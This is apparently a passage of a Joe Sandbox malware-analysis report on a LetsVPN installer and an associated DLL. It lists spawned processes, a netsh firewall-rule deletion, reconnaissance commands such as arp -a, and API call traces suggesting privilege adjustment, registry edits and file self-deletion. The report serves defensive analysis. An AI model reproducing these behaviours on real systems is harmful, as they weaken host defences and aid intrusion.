MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	05:53:04
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	05:53:04
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:53:04
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall Delete rule name=LetsPRO
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	05:53:04
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Imagebase:	0x7ff69dc90000
File size:	101'536 bytes
MD5 hash:	1E3CF83B17891AEE98C3E30012F0B034
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	05:53:04
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	05:53:11
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\LetsPRO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\letsvpn\LetsPRO.exe"
Imagebase:	0xb0000
File size:	247'272 bytes
MD5 hash:	8FC872149F0B8D2FB3D75C4076C0A8CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	05:53:11
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe"
Imagebase:	0x240000
File size:	1'471'464 bytes
MD5 hash:	D664FB656FC05BE54EA49950688BE980
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	05:53:14
Start date:	20/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	05:53:15
Start date:	20/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	05:53:16
Start date:	20/07/2024
Path:	C:\Windows\System32\wbem\WmiApSrv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\WmiApSrv.exe
Imagebase:	0x7ff637b10000
File size:	209'920 bytes
MD5 hash:	9A48D32D7DBA794A40BF030DA500603B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	05:53:22
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C ipconfig /all
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	05:53:22
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	05:53:22
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /all
Imagebase:	0x9e0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	05:53:22
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C route print
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	05:53:22
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	05:53:22
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\ROUTE.EXE
Wow64 process (32bit):	true
Commandline:	route print
Imagebase:	0x490000
File size:	19'456 bytes
MD5 hash:	C563191ED28A926BCFDB1071374575F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	05:53:23
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C arp -a
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	05:53:23
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	05:53:23
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\ARP.EXE
Wow64 process (32bit):	true
Commandline:	arp -a
Imagebase:	0xf30000
File size:	22'528 bytes
MD5 hash:	4D3943EDBC9C7E18DC3469A21B30B3CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	05:53:25
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
Imagebase:	0xb40000
File size:	1'471'464 bytes
MD5 hash:	D664FB656FC05BE54EA49950688BE980
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	05:53:26
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent"
Imagebase:	0xe70000
File size:	1'471'464 bytes
MD5 hash:	D664FB656FC05BE54EA49950688BE980
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	05:53:33
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
Imagebase:	0x680000
File size:	1'471'464 bytes
MD5 hash:	D664FB656FC05BE54EA49950688BE980
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	05:53:34
Start date:	20/07/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
Imagebase:	0x7ff669820000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	8.6%
Total number of Nodes:	790
Total number of Limit Nodes:	6

Executed Functions

Function 0000000180005710 Relevance: 51.6, APIs: 17, Strings: 12, Instructions: 847
sleeplibraryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000180003CFC: ExitProcess.KERNEL32 ref: 0000000180003D11

Part of subcall function 0000000180007AFC: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0000000180007D7C

Part of subcall function 0000000180003948: rand.LIBCMT ref: 00000001800039C3
Part of subcall function 0000000180003948: rand.LIBCMT ref: 0000000180003A02

LoadLibraryW.KERNEL32 ref: 0000000180005C58
GetProcAddress.KERNEL32 ref: 0000000180005C8F
ShellExecuteW.SHELL32 ref: 0000000180005CC8
LoadLibraryW.KERNEL32 ref: 0000000180005D15
GetProcAddress.KERNEL32 ref: 0000000180005D43
Sleep.KERNEL32 ref: 0000000180005D51
DeleteFileW.KERNELBASE ref: 0000000180005D6D

Part of subcall function 0000000180003948: rand.LIBCMT ref: 0000000180003A39

CreateDirectoryW.KERNEL32 ref: 0000000180005E8B

Part of subcall function 0000000180006AF4: wsprintfW.USER32 ref: 0000000180006B95
Part of subcall function 0000000180006AF4: SHGetSpecialFolderPathW.SHELL32 ref: 0000000180006BF9
Part of subcall function 0000000180006AF4: lstrcatW.KERNEL32 ref: 0000000180006C0D
Part of subcall function 0000000180006AF4: lstrcatW.KERNEL32 ref: 0000000180006C21
Part of subcall function 0000000180006AF4: lstrcatW.KERNEL32 ref: 0000000180006C35

Sleep.KERNEL32 ref: 0000000180005FB8
Sleep.KERNEL32 ref: 000000018000652F
ShellExecuteW.SHELL32 ref: 0000000180006595
Sleep.KERNEL32 ref: 000000018000659C
Sleep.KERNEL32 ref: 00000001800066BA
DeleteFileW.KERNEL32 ref: 0000000180006764
DeleteFileW.KERNEL32 ref: 0000000180006780
DeleteFileW.KERNEL32 ref: 000000018000679C
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00000001800068B7

Part of subcall function 000000018000E87C: std::ios_base::_Tidy.LIBCPMT ref: 000000018000E8A1

Strings

Shel, xrefs: 0000000180005C5E
leW, xrefs: 0000000180005D2F
.0.0, xrefs: 0000000180005A2C
lExe, xrefs: 0000000180005C68
255, xrefs: 0000000180005A22
tic , xrefs: 00000001800059F1
teFi, xrefs: 0000000180005D25
~m7, xrefs: 0000000180005EEB
cute, xrefs: 0000000180005C72
1.0., xrefs: 000000018000597C
sta, xrefs: 00000001800059E7
Dele, xrefs: 0000000180005D1B

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Sleep$DeleteFile$lstrcatrandstd::ios_base::_$AddressExecuteIos_base_dtorLibraryLoadProcShell$CreateDirectoryExitFolderPathProcessSpecialTidywsprintf
String ID: 255$ sta$.0.0$1.0.$Dele$Shel$cute$lExe$leW$teFi$tic $~m7
API String ID: 1252767233-2095672197
Opcode ID: 91ad20c48cb239d817e9e41d4fa4c240300dd89d0bb4ad2b14751df56e90a566
Instruction ID: b471e065821f5039b88dab33493cd8e50cf884940e6319a01e01c4874729673a
Opcode Fuzzy Hash: 91ad20c48cb239d817e9e41d4fa4c240300dd89d0bb4ad2b14751df56e90a566
Instruction Fuzzy Hash: B6A22572211AC88AE7B2DF20DC947DD33A5F74978CF80911AE6494BAAADF71C748C744

Function 000000018000310C Relevance: 21.4, APIs: 14, Instructions: 412
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32 ref: 0000000180003160
CoImpersonateClient.OLE32 ref: 0000000180003166
CoInitializeSecurity.OLE32 ref: 0000000180003196
CLSIDFromProgID.OLE32 ref: 0000000180003204
CoCreateInstance.OLE32 ref: 000000018000325B
VariantInit.OLEAUT32 ref: 000000018000326D
VariantInit.OLEAUT32 ref: 000000018000339B
VariantInit.OLEAUT32 ref: 000000018000353B
SysAllocString.OLEAUT32 ref: 0000000180003560
SysAllocString.OLEAUT32 ref: 000000018000357A
SysAllocString.OLEAUT32 ref: 0000000180003592
SysAllocString.OLEAUT32 ref: 00000001800035AA
VariantClear.OLEAUT32 ref: 0000000180003673
CoUninitialize.OLE32 ref: 00000001800036AA

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: AllocStringVariant$Init$Initialize$ClearClientCreateFromImpersonateInstanceProgSecurityUninitialize
String ID:
API String ID: 3828289656-0
Opcode ID: aa88f29563c2ffc65014714e904bf7a2833b814b78ce2aaa8fd9bb39cfb85ccd
Instruction ID: 17e632349898214e84f3cdb7cde7fd1c3f2faf68dbad7f7ad30978f26a4404d4
Opcode Fuzzy Hash: aa88f29563c2ffc65014714e904bf7a2833b814b78ce2aaa8fd9bb39cfb85ccd
Instruction Fuzzy Hash: 1D127C32204B4885EB52DF61E8893DE77B8F789BC8F418025EA4D57BA5DF34C658C384

Function 0000000180003848 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 64
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0000000180003877
OpenProcessToken.ADVAPI32 ref: 0000000180003889
LookupPrivilegeValueW.ADVAPI32 ref: 00000001800038A7
AdjustTokenPrivileges.ADVAPI32 ref: 00000001800038E3
GetLastError.KERNEL32 ref: 00000001800038ED
_beginthreadex.LIBCMT ref: 0000000180003915
Sleep.KERNEL32 ref: 000000018000391F
CloseHandle.KERNEL32 ref: 0000000180003929

Strings

SeShutdownPrivilege, xrefs: 000000018000389E

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesSleepValue_beginthreadex
String ID: SeShutdownPrivilege
API String ID: 1138004472-3733053543
Opcode ID: 06b95bb0e04c8115479e58d38b5aff5ec6a9605bbd82b6a0b753a633510d5ae5
Instruction ID: c119bef3d9313d858413680f87eed0066403d44693a5aef54c38cb28c5ddb35c
Opcode Fuzzy Hash: 06b95bb0e04c8115479e58d38b5aff5ec6a9605bbd82b6a0b753a633510d5ae5
Instruction Fuzzy Hash: DA311C72B10B098AF792CFB1D8497ED37B4F74C79DF048426EA09A6658DF78C2498750

Function 000000018000690C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 000000018000692A
GlobalMemoryStatusEx.KERNEL32 ref: 0000000180006948

Strings

@, xrefs: 0000000180006940

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: GlobalInfoMemoryStatusSystem
String ID: @
API String ID: 248183744-2766056989
Opcode ID: 74e4c175b4705d7d3b237dcc859c670c63c07ebdb0fd81a7ce4532ab45da30ac
Instruction ID: e212416c062b2ec459f904ba2b5b3911de738cab0e8f02f596a001cfa91dd21d
Opcode Fuzzy Hash: 74e4c175b4705d7d3b237dcc859c670c63c07ebdb0fd81a7ce4532ab45da30ac
Instruction Fuzzy Hash: E4F01232618A84C7FBA2DB60E45A3AAB360F7DD794F804515E68E41A65DF7CC25DCB00

Function 000000018000CA4C Relevance: 4.6, APIs: 3, Instructions: 93
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 000000018000CAC4
SetFilePointer.KERNEL32 ref: 000000018000CAF1

Part of subcall function 000000018000EAF0: malloc.LIBCMT ref: 000000018000EB0A

SetFilePointer.KERNEL32 ref: 000000018000CB58

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: File$Pointer$Createmalloc
String ID:
API String ID: 2443069792-0
Opcode ID: 046aaf7edb2938368552d60333a7b804221275b9317d7e999aa9ef1b381fcd39
Instruction ID: 90efbe834830a3e2c3a1ec1e889e68f25e8007d58701ded8ae26e02445723706
Opcode Fuzzy Hash: 046aaf7edb2938368552d60333a7b804221275b9317d7e999aa9ef1b381fcd39
Instruction Fuzzy Hash: 7431E5326187588BE362CF25A440B9E7BA0F389FE4F558215EF5603B90DF39C649C745

Function 0000000180006AF4 Relevance: 25.0, APIs: 8, Strings: 6, Instructions: 451
stringsleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000180003948: rand.LIBCMT ref: 00000001800039C3
Part of subcall function 0000000180003948: rand.LIBCMT ref: 0000000180003A02

wsprintfW.USER32 ref: 0000000180006B95
SHGetSpecialFolderPathW.SHELL32 ref: 0000000180006BF9
lstrcatW.KERNEL32 ref: 0000000180006C0D
lstrcatW.KERNEL32 ref: 0000000180006C21
lstrcatW.KERNEL32 ref: 0000000180006C35
ShellExecuteExW.SHELL32 ref: 00000001800073A8
Sleep.KERNEL32 ref: 00000001800073B3
DeleteFileW.KERNEL32 ref: 00000001800073C0

Strings

/t , xrefs: 0000000180006FAD
/v , xrefs: 0000000180006E01, 0000000180006E10
/F , xrefs: 0000000180006FEF
/d 0, xrefs: 0000000180006FD8
@, xrefs: 0000000180007364
p, xrefs: 000000018000735C

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: lstrcat$rand$DeleteExecuteFileFolderPathShellSleepSpecialwsprintf
String ID: /F $ /d 0$ /t $ /v $@$p
API String ID: 2901984432-719673316
Opcode ID: f867e8dae1483faefaeafef515169258fb5eac913dc4776a432e77a06b557440
Instruction ID: 1b714bdd413dddaeee93f08efcf118a1eabb8baec5c74b7f47a568609be5eda1
Opcode Fuzzy Hash: f867e8dae1483faefaeafef515169258fb5eac913dc4776a432e77a06b557440
Instruction Fuzzy Hash: FA420272211AC4DEE761DF61DC883CD37A5F74978CF40811AEA085BAAACFB58788C744

Function 000000018000A388 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 255
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%s%s, xrefs: 000000018000A540
%s%s%s, xrefs: 000000018000A518

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID:
String ID: %s%s$%s%s%s
API String ID: 0-1506711308
Opcode ID: 6b874acec9ceebb95ce81af42464c2c8b92744ff4f26bf0f7c0c9e12891d00c1
Instruction ID: b610c76a5d68178c7db461a43531c8448e7eb681cc980911b6fcdf4407cb46f9
Opcode Fuzzy Hash: 6b874acec9ceebb95ce81af42464c2c8b92744ff4f26bf0f7c0c9e12891d00c1
Instruction Fuzzy Hash: C2B1AD32208A8886FAA6DB25D4847EA33A0F38E7D8F54C122FA19476D5DF75CB5DC701

Function 000000018000849C Relevance: 12.1, APIs: 8, Instructions: 87
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsW.SHLWAPI ref: 00000001800084C8
CreateFileW.KERNEL32 ref: 00000001800084F9
CloseHandle.KERNEL32 ref: 0000000180008508
CreateFileW.KERNEL32 ref: 000000018000852B
WideCharToMultiByte.KERNEL32 ref: 0000000180008560
WideCharToMultiByte.KERNEL32 ref: 0000000180008596
WriteFile.KERNEL32 ref: 00000001800085C5
CloseHandle.KERNEL32 ref: 00000001800085D6

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: File$ByteCharCloseCreateHandleMultiWide$ExistsPathWrite
String ID:
API String ID: 3442908436-0
Opcode ID: 8ea21141c6684929faeab277fc1de807e2132011359c5fbed607e61a3a7a4c84
Instruction ID: afaa96bf352fad02aec184f24d26d8ecab7778e1edcaf6cfa37f0ba81fa14616
Opcode Fuzzy Hash: 8ea21141c6684929faeab277fc1de807e2132011359c5fbed607e61a3a7a4c84
Instruction Fuzzy Hash: 7A317272614B4447F7A5DF11A84479AB790B78DBF5F048325BAAA06AD5DF7CC2088B00

Function 0000000180009A68 Relevance: 9.1, APIs: 6, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32 ref: 0000000180009A96
CreateDirectoryW.KERNEL32 ref: 0000000180009AA6
wcscpy.LIBCMT ref: 0000000180009B2E
wcscat.LIBCMT ref: 0000000180009B3B
GetFileAttributesW.KERNEL32 ref: 0000000180009B45
CreateDirectoryW.KERNEL32 ref: 0000000180009B57

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: AttributesCreateDirectoryFile$wcscatwcscpy
String ID:
API String ID: 4269979241-0
Opcode ID: e82f6bcf5aeb10c61f01b0aa7b909c62b3a9c2fee85ae59c08a4da3fa3b848e0
Instruction ID: e72d625e1d96e67f8a4aef89d1111a9f994c81590d3ae78e7771b9e6b2dbaa95
Opcode Fuzzy Hash: e82f6bcf5aeb10c61f01b0aa7b909c62b3a9c2fee85ae59c08a4da3fa3b848e0
Instruction Fuzzy Hash: C331E331205A4C81FEA2DBA1A5543FAB351BB8DBE4F84C220EB9906AD5DF2CC349C301

Function 0000000180003BF4 Relevance: 4.5, APIs: 3, Instructions: 26
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 0000000180003BFA
Sleep.KERNEL32 ref: 0000000180003C08
SleepEx.KERNEL32 ref: 0000000180003C0E

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Sleep$Count64Tick
String ID:
API String ID: 2406120688-0
Opcode ID: 52b4e2659c1818b3c1b1d2e9d0db2798d237eea2d1f3487a19bd80c4981363d6
Instruction ID: 5332eb2c2a0e63850cecd20b9dd8a4a72a11ba323c7add4f3c0f282b39e3a15b
Opcode Fuzzy Hash: 52b4e2659c1818b3c1b1d2e9d0db2798d237eea2d1f3487a19bd80c4981363d6
Instruction Fuzzy Hash: 2EE0D83171040943FB9E5BB66C893A42241AB4D361F18C738ED22C53D1CD1CCA8E0300

Function 0000000180003B3C Relevance: 3.0, APIs: 2, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderLocation.SHELL32 ref: 0000000180003B6E
SHGetPathFromIDListW.SHELL32 ref: 0000000180003B95

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
